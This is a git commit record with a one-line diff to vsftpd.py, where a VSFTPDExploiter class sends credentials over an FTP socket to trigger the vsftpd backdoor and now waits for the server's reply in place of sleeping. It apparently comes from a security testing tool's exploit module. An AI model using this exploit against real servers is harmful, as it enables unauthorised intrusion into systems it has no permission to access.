Update vsftpd.py

Replaced sleep with recv, waits for the server to respond instead of sleeping
This commit is contained in:
Dhayalan 2019-03-15 15:24:17 +01:00
parent 1587aa2d4c
commit 525e541156
1 changed files with 1 additions and 1 deletions

View File

@ -40,7 +40,7 @@ class VSFTPDExploiter(HostExploiter):
ftp_socket.send(USERNAME)
ftp_socket.recv(128).decode('utf-8')
ftp_socket.send(PASSWORD)
time.sleep(1)
ftp_socket.recv(128).decode('utf-8')
ftp_socket.close()
LOG.info('Triggered backdoor')